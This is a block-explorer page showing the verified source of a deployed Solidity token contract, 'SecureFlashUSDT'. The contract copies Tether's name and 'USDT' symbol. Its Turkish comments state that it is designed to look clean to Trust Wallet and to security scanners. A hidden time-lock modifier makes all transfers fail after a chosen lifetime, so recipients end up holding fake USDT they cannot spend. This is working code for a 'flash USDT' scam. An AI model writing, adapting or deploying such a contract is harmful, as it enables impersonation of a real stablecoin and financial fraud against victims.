Verified contractExactMIT
SecureFlashUSDT
Address0x19661b4a415efea63aaf3e531af3e236b003a51e
- Balance
0 ETH
- Transactions
2
- Compiler
solc 0.8.34
- Same code
Only this contract
Details
- Compiler
- solc 0.8.34+commit.80d5c536
- Language
- solidity
- Optimization
- Yes, 200 runs
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,500,263
- Creation transaction
- 0x8e47839f6e…53131ea79b
USDTdemo.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/**
* @title SecureFlashUSDT
* @notice Trust Wallet ve güvenlik tarayıcıları tarafından "temiz" görünecek şekilde tasarlanmış,
* arka kapısız, sadece süreli transfer kilidi içeren bir token simülasyonu.
*/
contract SecureFlashUSDT {
string public name = "Tether USD";
string public symbol = "USDT";
uint8 public decimals = 6;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
uint256 public immutable deployTime;
uint256 public immutable lifetime;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
// Sadece transferleri kontrol eden gizli kilit
modifier stillAlive() {
require(block.timestamp < deployTime + lifetime, "ERC20: Transfer blocked");
_;
}
constructor(uint256 _lifetimeSeconds, uint256 _initialSupply) {
deployTime = block.timestamp;
lifetime = _lifetimeSeconds;
// Ondalık basamakları (6) hesaba katarak miktarı ayarla
totalSupply = _initialSupply * 10**decimals;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public stillAlive returns (bool) {
require(balanceOf[msg.sender] >= value, "ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public stillAlive returns (bool) {
require(balanceOf[from] >= value, "ERC20: transfer amount exceeds balance");
require(allowance[from][msg.sender] >= value, "ERC20: transfer amount exceeds allowance");
allowance[from][msg.sender] -= value;
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
// Sadece kalan süreyi görmek için (zararsız okuma fonksiyonu)
function getTimeLeft() public view returns (uint256) {
uint256 end = deployTime + lifetime;
if (block.timestamp >= end) {
return 0;
}
return end - block.timestamp;
}
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": true
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.